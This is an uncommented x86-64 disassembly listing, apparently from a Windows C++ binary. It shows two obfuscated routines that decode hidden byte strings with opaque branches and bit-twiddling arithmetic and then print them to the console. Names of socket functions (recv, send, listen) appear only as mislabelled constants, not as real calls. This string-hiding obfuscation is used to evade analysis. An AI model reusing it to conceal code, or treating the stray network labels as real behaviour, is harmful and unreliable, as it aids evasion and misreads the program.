mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14003caa0
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x5f0], 0x3020d32
mov dword [rbp + 0x5f4], 0x7060100
mov word [rbp + 0x5f8], 0x251c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5fa], xmm0
mov dword [rbp + 0x60a], eax
movabs rsi, 0xfd3771a2f1c7725a
movabs r15, 0x5ba2ee3c33f98c9c
movabs r12, 0x88d3ed673c9cfa20
movabs r13, 0x12e8cab49beca5d4
movzx ebx, byte [rsp + 0x40]
nop
mov r9, qword [0x140175488]
mov r8, qword [0x140175490]
nop
mov r11, rdi
movabs rcx, 0xc0739341ed1641a4
cmp r11, 0x1e
jae 0x14004a918
movzx r10d, byte [rbp + r11 + 0x5f0]
movzx edi, r10b
cmp r9, r11
ja 0x14004a90f
lea rax, [r8 + 0x3e8]
cmp r9, rax
jae 0x140049d61
add rcx, r11
mov rax, r10
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r10
add rbx, rcx
sub bl, 0x7c
jmp 0x140049d95
lea rax, [r8 + 1]
cmp r9, rax
je 0x14004a88b
lea rax, [r8 + 2]
cmp r9, rax
je 0x14004a7f8
lea rax, [r8 + 3]
cmp r9, rax
je 0x14004a7c4
lea rax, [r8 + 5]
cmp r9, rax
je 0x14004a783
movzx edi, r10b
nop dword [rax]
cmp r8, r11
ja 0x14004a906
lea rax, [r8 + 0x40]
cmp r9, rax
jae 0x140049dc8
lea rcx, [r11 + r15]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x44
jmp 0x140049e10
lea rax, [r8 + 1]
cmp r9, rax
je 0x14004a732
lea rax, [r8 + 3]
cmp r9, rax
je 0x14004a70e
lea rax, [r8 + 2]
cmp r9, rax
je 0x14004a700
lea rax, [r8 + 6]
cmp r9, rax
je 0x14004a6e2
lea rax, [r8 + 5]
cmp r9, rax
je 0x14004a6b2
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x14004a3fc
nop dword [rax]
lea rax, [r8 + 9]
cmp r9, rax
je 0x14004a3db
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14004a3ad
lea rax, [r8 + 8]
cmp r9, rax
je 0x14004a382
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14004a35d
lea rax, [r8 + 6]
cmp r9, rax
je 0x14004a33c
lea rax, [r8 + 1]
cmp r9, rax
je 0x14004a31b
lea rax, [r8 + 5]
cmp r9, rax
je 0x14004a2fa
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14004a2d9
lea rax, [r8 + 4]
cmp r9, rax
je 0x14004a2a6
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x140049e20
lea r9, [r8 + 0x3e8]
lea r8, [r9 + 3]
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x14004a8e4
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14004a8c2
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14004a00a
lea rax, [r8 + 8]
cmp r9, rax
jb 0x140049fec
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x140049fce
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14004a248
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14004a1f9
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14004a1b3
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x14004a187
lea rax, [r8 + 4]
cmp r9, rax
jb 0x140049e20
lea r9, [r8 + 0x42]
lea r8, [r9 + 9]
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14004a154
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x14004a13c
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14004a128
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14004a103
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14004a0de
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14004a0b9
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14004a08e
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x14004a060
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14004a03b
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x140049e20
lea r9, [r8 + 0x400]
lea r8, [r9 + 4]
jmp 0x140049e20
lea rcx, [r11 + r12]
movzx eax, r10b
and al, cl
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, dil
jmp 0x140049e10
lea rcx, [r11 + r13]
movzx eax, r10b
and al, cl
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, dil
jmp 0x140049da0
movabs rcx, 0x9cfda801fb3c5188
add rcx, r11
movzx eax, r10b
and al, cl
mov edx, 0x24
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, dil
movabs rcx, 0xc0739341ed1641a4
jmp 0x140049d34
movabs rax, 0x36a564855699c06e
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 2
movzx esi, r11b
jmp 0x14004a74c
movabs rax, 0xc0ba41d2b5e96c22
add rax, r11
and r10b, al
mov ecx, 9
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
inc r8
dec r11
inc r11
jmp 0x140049d13
movabs rax, 0x4acf1f20153917d6
add rax, r11
and r10b, al
mov ecx, reloc.WS2_32.dll_send
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
dec r11
inc r11
jmp 0x140049d13
movabs rax, 0xd4e3fc6d7488c38a
add rax, r11
and r10b, al
mov ecx, Ordinal_32
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
jmp 0x14004a7a0
movabs rax, 0x5ef8d9bad3d86f3e
add rax, r11
and r10b, al
mov ecx, Ordinal_41
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
jmp 0x14004a7dd
movabs rax, 0xe90db70833281af2
add rax, r11
and r10b, al
mov ecx, Ordinal_50
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
jmp 0x14004a7e0
movabs rax, 0x732294559277c6a6
mov ecx, Ordinal_60
jmp 0x14004a807
lea rax, [r11 + rsi]
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 0x76
jmp 0x14004a844
movabs rax, 0x874c4ef051171e0e
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 0x62
movzx eax, byte [rbp + r11 + 0x5f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d13
movabs rax, 0x60807831bf5e4b50
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 0x30
mov byte [rbp + r11 + 0x5f0], bl
inc r11
jmp 0x140049d13
movabs rcx, 0xea95557f1eadf704
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x1c
cmp r8, 0x10
jb 0x14004a1a3
movzx esi, r11b
lea edx, [rsi - 0x5e]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14004a74c
movabs rcx, 0x74aa32cc7dfda2b8
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 8
cmp r9, 5
jae 0x14004a67c
lea rax, [r8 + 0x5a]
cmp r9, rax
jbe 0x14004a5ce
lea edx, [r11 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14004a1d0
movabs rcx, 0xfebf1019dd4d4e6c
add rcx, r11
movzx eax, r10b
and al, cl
mov edx, 6
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, dil
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x14004a697
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x14004a4f5
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14004a216
movabs rax, 0x8a5b8bde2822d632
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 0x5e
movzx eax, byte [rbp + r11 + 0x5f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d13
movabs rax, 0x1470692b877281e6
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 0x4a
jmp 0x14004a844
movabs rax, 0x9e854678e6c22d9a
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 0x36
jmp 0x14004a818
movabs rax, 0x289a23c64611d94e
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 0x22
jmp 0x14004a7e0
movabs rax, 0xb2af0113a5618502
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea ebx, [rdi + rax]
sub bl, 0xe
jmp 0x14004a7dd
movabs rax, 0x3cc3de6104b130b6
add rax, r11
and r10b, al
mov ecx, 3
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
jmp 0x14004a7a0
movabs rax, 0xc6d8bbae6400dc6a
add rax, r11
and r10b, al
mov ecx, reloc.WS2_32.dll_listen
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
dec r11
inc r11
jmp 0x140049d13
movabs rax, 0x50ed98fbc350881e
add rax, r11
and r10b, al
mov ecx, reloc.WS2_32.dll_socket
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
inc r8
dec r11
inc r11
jmp 0x140049d13
movzx esi, r11b
lea edx, [rsi - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14004a74c
lea rax, [r8 + 0x5a]
cmp r9, rax
jae 0x14004a41f
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0xa
jmp 0x14004a26a
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004a454
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r11 + 0x5f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d13
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14004a477
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x66
jmp 0x14004a7dd
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14004a49a
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7a
jmp 0x14004a7a0
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14004a4c7
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x140049d13
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14004a26a
movzx esi, r11b
lea edx, [rsi + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14004a74c
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004a51f
movzx esi, r11b
lea edx, [rsi - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14004a74c
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14004a548
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x10
dec r11
inc r11
jmp 0x140049d13
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14004a56c
lea ecx, [r11 + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x4c
jmp 0x14004a7e0
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14004a591
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x60
add bl, dl
jmp 0x14004a818
lea rax, [r8 + 8]
cmp r9, rax
jne 0x14004a216
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x5f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d13
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004a607
lea edx, [r11 - 0xa]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x5f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d13
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14004a62e
lea edx, [r11 + 0x42]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14004a844
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14004a655
lea edx, [r11 - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14004a7e0
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14004a1d0
lea edx, [r11 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x1e
jmp 0x14004a79e
lea edx, [r11 - 0x12]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x3f
lea ebx, [rcx + rcx]
jmp 0x14004a79e
lea edx, [r11 + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14004a818
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x5f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d13
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14004a818
lea edx, [r11 + 0x18]
mov ecx, Ordinal_45
jmp 0x14004a7cd
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x80
dec r11
inc r11
jmp 0x140049d13
movzx esi, r11b
lea edx, [rsi - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x58
add bl, dl
sub sil, 0x38
movzx eax, dil
and al, sil
add al, al
sub dil, al
sub sil, 0x78
add dil, sil
mov byte [rbp + r11 + 0x5f0], dil
movabs rsi, 0xfd3771a2f1c7725a
inc r8
dec r11
inc r11
jmp 0x140049d13
lea edx, [r11 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
movzx edi, r10b
add bl, dl
lea edx, [r11 + 0x14]
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dil
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0x5f0], cl
jmp 0x14004a7dd
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
add r9, r8
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140049d13
movabs rax, 0x2234fb59cf273e88
mov ecx, 0x24
add rax, r11
and r10b, al
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
lea edx, [r11 + 0x60]
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dil
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x5f0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x7a]
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + r11 + 0x5f0], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x5f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d13
movabs rax, 0x365eb5f48dc695f0
add rax, r11
and r10b, al
mov ecx, Ordinal_60
sub cl, r10b
lea ebx, [rcx + rcx]
add bl, al
add bl, dil
movzx eax, byte [rbp + r11 + 0x5f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d13
add r11b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
xor edi, edi
jmp 0x140049d0e
sub r11b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
xor edi, edi
jmp 0x140049cfe
lea rdx, [rbp + 0x17a6ef6]
jmp 0x14004a91f
lea rdx, [rbp + 0xd2991c]
jmp 0x14004a91f
lea rdx, [rbp + 0x5f0]
mov rcx, r14
call fcn.140002380
call fcn.14003ca40
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp + 0x6c0], 0x173
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c2], xmm0
movabs r12, 0xe54a689aaaeb5b62
movabs r13, 0xf15bcc6ce9cf52b8
movzx edx, byte [rsp + 0x40]
xor r15d, r15d
mov r8, qword [0x140175488]
mov r9, qword [0x140175490]
mov r11, r15
cmp r11, 0x12
jae 0x14004b05e
movzx r10d, byte [rbp + r11 + 0x6c0]
mov esi, r10d
nop dword [rax]
cmp r8, r11
ja 0x14004b055
lea rdi, [r9 + 1]
cmp r8, rdi
jae 0x14004a9c3
lea rcx, [r11 + r12]
mov rax, rsi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rsi
add rdx, rcx
add dl, 0x52
lea rcx, [r9 + 2]
lea rbx, [r9 + 5]
jmp 0x14004aa00
je 0x14004b001
lea rcx, [r9 + 2]
cmp r8, rcx
je 0x14004af9f
lea rbx, [r9 + 5]
cmp r8, rbx
je 0x14004af48
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004af28
lea rax, [r9 + 8]
cmp r8, rax
je 0x14004aee0
nop dword [rax]
cmp r9, r11
ja 0x14004b04c
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14004aa29
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x32
jmp 0x14004aa60
cmp r8, rdi
je 0x14004aed2
cmp r8, rcx
je 0x14004aeb2
cmp r8, rbx
je 0x14004ae98
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004ae51
lea rax, [r9 + 8]
cmp r8, rax
je 0x14004ae25
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14004ab13
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004aaf5
mov r8, rax
lea r9, [rax + 3]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14004b02c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14004aaaf
mov r8, rax
lea r9, [rax + 0x28]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14004aac9
mov r8, rax
lea r9, [rax + 0x28]
jmp 0x14004aa70
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3c
jmp 0x14004a990
lea ecx, [r11 + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x47
movzx eax, byte [rbp + r11 + 0x6c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004a973
lea ecx, [r11 + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x57
movzx ebx, r11b
jmp 0x14004aefb
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14004abc5
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x53
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x14004ae03
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14004ac97
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3a
cmp r8, 0x400
jae 0x14004ade5
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14004ad53
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6b
cmp r9, 3
jb 0x14004add5
movzx ebx, r11b
lea ecx, [rbx - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x11
add cl, r10b
lea edx, [rcx + rcx]
jmp 0x14004aefb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004abfa
lea ecx, [r11 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x63
movzx eax, byte [rbp + r11 + 0x6c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004a973
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004ac21
lea ecx, [r11 + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x17
movzx ebx, r11b
jmp 0x14004ae6c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14004ac44
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x35
jmp 0x14004af84
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004ac6d
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7f
dec r11
inc r11
jmp 0x14004a973
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14004ab35
movzx ebx, r11b
lea ecx, [rbx + 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x33
jmp 0x14004aefb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004acb1
movzx ebx, r11b
lea edx, [rbx - 0x34]
mov ecx, gethostname
jmp 0x14004aeec
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004acda
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x48
dec r11
inc r11
jmp 0x14004a973
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14004ad00
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14004af84
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004ad1a
movzx ebx, r11b
lea edx, [rbx - 0x30]
mov ecx, Ordinal_41
jmp 0x14004ae5d
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14004ab6a
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x64
movzx eax, byte [rbp + r11 + 0x6c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004a973
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004ad88
lea ecx, [r11 - 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3b
movzx eax, byte [rbp + r11 + 0x6c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004a973
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004adae
movzx ebx, r11b
lea ecx, [rbx + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x79
jmp 0x14004ae6c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14004ab9c
lea ecx, [r11 + 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2d
jmp 0x14004af84
mov byte [rbp + r11 + 0x6c0], dl
inc r11
jmp 0x14004a973
lea edx, [r11 + 0x2f]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x49
movzx ebx, r11b
jmp 0x14004af5e
movzx ebx, r11b
lea ecx, [rbx - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x6c0]
lea edx, [r10 + rcx]
add dl, 0x5d
jmp 0x14004ae6c
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5c
movzx eax, byte [rbp + r11 + 0x6c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004a973
movzx ebx, r11b
lea edx, [rbx + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add bl, 0x30
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x50
add bl, r10b
movzx eax, bl
mov byte [rbp + r11 + 0x6c0], al
inc r9
add rax, r9
sub r11, rax
jmp 0x14004afbe
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4e
jmp 0x14004af87
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x40
dec r11
inc r11
jmp 0x14004a973
movzx ebx, r11b
lea edx, [rbx + 0x14]
mov ecx, Ordinal_60
jmp 0x14004aeec
movzx ebx, r11b
lea edx, [rbx + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
sub bl, 0x7c
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + r11 + 0x6c0], cl
inc r9
dec r11
inc r11
jmp 0x14004a973
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x24
dec r11
inc r11
jmp 0x14004a973
movzx ebx, r11b
lea edx, [rbx + 0x66]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
sub bl, 0x26
movzx eax, bl
and al, r10b
mov ecx, 5
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x6c0], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004a973
movabs rcx, 0xfd6d303f28b34a0e
add rcx, r11
and sil, cl
add sil, sil
movzx edx, r10b
sub dl, sil
sub dl, 0x62
add dl, cl
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 3
add cl, r10b
mov byte [rbp + r11 + 0x6c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x6c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004a973
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub r10b, sil
lea edx, [rax + r10]
sub dl, 8
movzx eax, byte [rbp + r11 + 0x6c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004a973
add r11b, 0x38
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x14004a962
lea rdx, [rbp + 0x14e7d5b]
jmp 0x14004b065
lea rdx, [rbp + 0x1007906]
jmp 0x14004b065
lea rdx, [rbp + 0x6c0]
mov rcx, r14
call fcn.140002380
